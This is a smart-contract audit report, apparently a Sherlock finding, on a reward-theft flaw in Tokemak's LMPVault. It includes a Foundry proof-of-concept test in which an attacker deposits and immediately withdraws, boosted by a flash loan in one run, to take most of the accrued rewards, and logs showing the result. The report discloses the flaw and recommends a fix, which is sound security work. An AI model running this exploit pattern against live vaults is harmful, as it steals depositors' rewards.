Clean Fuchsia Blackbird

high

# User can deposit and immediately withdraw to steal rewards
## Summary

Users deposit tokens to LMPVault to gain rewards. Each user can claim those rewards based on how many shares of the vault he has. The user has also an option to withdraw his funds. This sends his deposited funds + rewards to his address. This mechanism has a vulnerability where the attacker can deposit and withdraw immediately after that which gives him rewards as well based on how much he deposited relative to the vault funds.

## Vulnerability Detail

Users can deposit tokens to LMPVaults. These funds are sent out to other vaults to gain rewards based on strategy. Each user can claim these rewards based on how many shares of the vault he owns. When the user decides to claim his funds it claims rewards as well and sends them to the user with his funds.

There is a vulnerability in this mechanism with inflation. When an attacker deposits, he can withdraw immediately and gain accumulated rewards based on how much he deposited. Take a look at POC below.

### POC

The test is part of **LMPVault-Withdraw.t.sol**.

It is necessary to update **IBaseRewarder.sol** for the purpose of this demo. Paste ```function setTokeLockDuration(uint256 _tokeLockDuration) external;``` to expose the function.

Add ```import "forge-std/console.sol";``` to imports in **LMPVault-Withdraw.t.sol** for logging to work.

Run the test using this command ```forge test --match-contract LMPVaultMintingTests --match-test test_inflationAttack -vv```.

```solidity
function test_inflationAttack() external{
    // Prepare rewards
    _accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
    _lmpVault.rewarder().addToWhitelist(address(this));
    // setTokeLockDuration not present in IBaseRewarder.sol - function setTokeLockDuration(uint256 _tokeLockDuration) external;
    // Lock duration is set to zero for the demonstration that the user can claim rewards with the same shares transferred to another address
    _lmpVault.rewarder().setTokeLockDuration(0);
    _toke.mint(address(this), 1000e18);
    _toke.approve(address(_lmpVault.rewarder()), 1000e18);
    _lmpVault.rewarder().queueNewRewards(1000e18);
    
    // Prepare users
    address user1 = makeAddr("1");
    address user2 = makeAddr("2");
    address attacker = makeAddr("3");

    _asset.mint(user1,1000);
    _asset.mint(user2,1000);
    _asset.mint(attacker, 100 ether);
    _asset.approve(address(_lmpVault), 1000);

    // Deposits
    vm.startPrank(user1);
    _asset.approve(address(_lmpVault), 1000);
    _lmpVault.deposit(1000, user1);
    vm.stopPrank();

    vm.startPrank(user2);
    _asset.approve(address(_lmpVault), 1000);
    _lmpVault.deposit(1000, user2);
    vm.stopPrank();

    // Roll forward
    vm.roll(block.number + 10_000);

    // Attacker deposits and withdraw
    vm.startPrank(attacker);
    uint attackerAmount = 1000;
    // uint attackerAmount = 100 ether;
    _asset.approve(address(_lmpVault), attackerAmount);
    _lmpVault.deposit(attackerAmount, attacker);
    _lmpVault.withdraw(attackerAmount, attacker, attacker);
    vm.stopPrank();

    // User withdraw
    vm.startPrank(user1);
    _lmpVault.withdraw(1000, user1, user1);
    vm.stopPrank();

    vm.startPrank(user2);
    _lmpVault.withdraw(1000, user2, user2);
    vm.stopPrank();

    // Log rewards amounts
    console.log("attacker toke:", _toke.balanceOf(attacker));
    console.log("user1 toke:", _toke.balanceOf(user1));
    console.log("user2 toke:", _toke.balanceOf(user2));
}
```

#### 1st run without attacker (comment out the code)

Comment out the code below **Attacker deposit and withdraw**. Rewards are distributed 50/50 between users one and two.

```text
Logs:
  attacker toke: 0
  user1 toke: 500000000000000000000
  user2 toke: 500000000000000000000
```

#### 2nd run where attacker depositing the same amount as other users

The attacker gains 1/3 of accumulated rewards even though he deposited after the time has passed.

```text
Logs:
  attacker toke: 333333333333333333333
  user1 toke: 333333333333333333333
  user2 toke: 333333333333333333333
```

#### 3rd run with attacker deposit boosted with flash loan (switch attackerAmount value in test to 100 ether)

This case is even worse because the attacker boosted his funds with a flash loan and stole most of the rewards.

```text
Logs:
  attacker toke: 999999999999999980000
  user1 toke: 9999
  user2 toke: 9999
```

## Impact

The attacker can steal accumulated rewards when depositing and withdrawing in a single transaction even though he hasn't had funds in the vault during accumulation. This gets even worse when the attacker uses a flash loan to boost his funds.

## Code Snippet

[https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L448](https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L448)

## Tool used

Manual Review

## Recommendation

Make sure the rewards are fairly distributed between users. Create a mechanism to track how much rewards should the user get based on how long he has his funds staked.
